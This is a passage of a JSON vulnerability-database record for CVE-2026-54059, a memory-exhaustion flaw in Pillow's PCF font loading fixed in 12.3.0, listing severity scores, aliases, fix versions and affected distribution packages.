{"id":"CVE-2026-54059","aliases":["ALSA-2026:39127","BIT-pillow-2026-54059","CLSA-2026-1786515922","CLSA-2026-1787298843","CLSA-2026-1787306626","CLSA-2026-1787309468","CLSA-2026-1787718630","CLSA-2026-1790674233","DEBIAN-CVE-2026-54059","EUVD-2026-41899","GHSA-8v84-f9pq-wr9x","MGASA-2026-0463","OESA-2026-3137","OESA-2026-3138","OESA-2026-3139","OESA-2026-3140","OESA-2026-3141","PYSEC-2026-2253","RHSA-2026:39127","RHSA-2026:48759","RHSA-2026:48760","RHSA-2026:50221","RHSA-2026:50222","RHSA-2026:50223","RHSA-2026:50263","RHSA-2026:50319","RHSA-2026:50336","RHSA-2026:52551","RLSA-2026:39127","ROOT-APP-PYPI-CVE-2026-54059","SUSE-SU-2026:22626-1","SUSE-SU-2026:2875-1","SUSE-SU-2026:3268-1","UBUNTU-CVE-2026-54059","USN-8999-1","openSUSE-SU-2026:11261-1","openSUSE-SU-2026:21296-1"],"status":"published","title":"Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0041,"percentile":0.35553,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-789"],"published":"2026-07-06T18:46:09Z","modified":"2026-11-06T11:15:04Z","fixes":[{"ecosystem":"PyPI","package":"pillow","fixed_in":["12.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"pillow","fixed_in":["12.3.0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"pillow","fixed_in":["12.3.0-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"pillow","fixed_in":["12.1.0+aikido.7","12.1.0+aikido.8","12.1.0+aikido.9","12.1.0+aikido.10","9.3.0+aikido.11","11.1.0+aikido.9","12.1.0+aikido.11","11.1.0+aikido.10","11.2.1+aikido.5","9.3.0+aikido.12","9.5.0+aikido.11","12.2.0+aikido.5","9.3.0+aikido.13","10.4.0+aikido.11","12.1.0+aikido.12","11.2.1+aikido.6","11.1.0+aikido.11","10.3.0+aikido.13","11.0.0+aikido.10","11.2.1+aikido.7","9.3.0+aikido.14","11.1.0+aikido.12","9.5.0+aikido.12","12.2.0+aikido.6","10.4.0+aikido.12","9.3.0+aikido.15","11.1.0+aikido.13","12.1.0+aikido.13","10.3.0+aikido.14","11.0.0+aikido.11","9.3.0+aikido.16","10.3.0+aikido.15","10.4.0+aikido.13","9.3.0+aikido.17","9.5.0+aikido.13","11.2.1+aikido.8","11.0.0+aikido.12","11.1.0+aikido.14","12.1.0+aikido.14","12.2.0+aikido.7","10.3.0+aikido.16","10.4.0+aikido.14","11.1.0+aikido.15","11.2.1+aikido.9","10.2.0+aikido.1","12.2.0+aikido.8","9.0.1+aikido.1","10.4.0+aikido.15","12.1.0+aikido.15","9.0.1+aikido.2","10.3.0+aikido.17","8.0.1+aikido.1","11.0.0+aikido.13","9.5.0+aikido.14","8.1.2+aikido.1","8.0.1+aikido.2","10.4.0+aikido.16","10.1.0+aikido.1","10.0.0+aikido.1","10.3.0+aikido.18","10.2.0+aikido.2","10.3.0+aikido.19","10.4.0+aikido.17","10.3.0+aikido.20","8.2.0+aikido.1","9.4.0+aikido.1","9.0.0+aikido.1","9.2.0+aikido.1","9.0.0+aikido.2","11.0.0+aikido.14","7.0.0+aikido.2","7.0.0+aikido.3","12.2.0+aikido.9","9.5.0+aikido.15","9.5.0+aikido.16","9.5.0+aikido.17","9.5.0+aikido.18","9.5.0+aikido.19","10.4.0+aikido.18"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"pillow","fixed_in":["9.0.1-1ubuntu0.6"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"pillow","fixed_in":["10.2.0-1ubuntu1.4"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"pillow","fixed_in":["12.1.1-2ubuntu1.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"AlmaLinux:8","package":"python3-pillow-tk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Bitnami","package":"pillow","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.2.1"},{"fixed":"11.2.1.post4+tuxcare"}]}],"versions":["11.2.1","11.2.1.post1+tuxcare","11.2.1.post2+tuxcare","11.2.1.post3+tuxcare"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.0"},{"fixed":"9.5.0.post3+tuxcare"}]}],"versions":["9.5.0","9.5.0.post1+tuxcare","9.5.0.post2+tuxcare"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.0.post5+tuxcare"}]}],"versions":["9.4.0","9.4.0.post1+tuxcare","9.4.0.post2+tuxcare","9.4.0.post3+tuxcare","9.4.0.post4+tuxcare"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.4.0"},{"fixed":"8.4.0.post3+tuxcare"}]}],"versions":["8.4.0","8.4.0.post1+tuxcare","8.4.0.post2+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.4.0"},{"fixed":"10.4.0.post6+tuxcare"}]}],"versions":["10.4.0","10.4.0.post1+tuxcare","10.4.0.post2+tuxcare","10.4.0.post3+tuxcare","10.4.0.post4+tuxcare","10.4.0.post5+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.3.0"},{"fixed":"11.3.0.post5+tuxcare"}]}],"versions":["11.3.0","11.3.0.post1+tuxcare","11.3.0.post2+tuxcare","11.3.0.post3+tuxcare","11.3.0.post4+tuxcare"],"bundled":14},{"source":"osv","ecosystem":"Debian:12","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.3.0-1","10.3.0-2","10.4.0-1","10.4.0-1.1","11.1.0-1","11.1.0-2","11.1.0-3","11.1.0-4","11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1","9.4.0-1.1","9.4.0-1.1+deb12u1","9.5.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5","11.1.0-5+deb13u1","11.1.0-5+deb13u2","11.1.0-5+deb13u3","11.1.0-5+deb13u4","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1","12.3.0-1","13.0.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0-1"}]}],"versions":["11.1.0-5","11.2.1-1","11.3.0-1","12.0.0-1","12.1.0-1","12.1.1-1","12.1.1-2","12.2.0-1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Mageia:10","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0-1.mga10"}]}],"bundled":11},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-12.oe2003sp4"}]}],"bundled":7},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.0.1-12.oe2203sp4"}]}],"bundled":7},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0-8.oe2403sp1"}]}],"bundled":6},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0-8.oe2403sp3"}]}],"bundled":6},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.3.0-8.oe2403sp4"}]}],"bundled":6},{"source":"osv","ecosystem":"PyPI","package":"pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python3-pillow-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python3-pillow-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python3-pillow-tk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:8::crb","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-22.el8_10"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_8"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.6::appstream","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.6::appstream","package":"python-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.6::appstream","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.6::appstream","package":"python3-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.6::appstream","package":"python3-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:rhel_eus_long_life:8.6::appstream","package":"python3-pillow-tk-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.1.1-20.el8_6"}]}],"bundled":4},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.20.0.7-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.16.0.18-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red 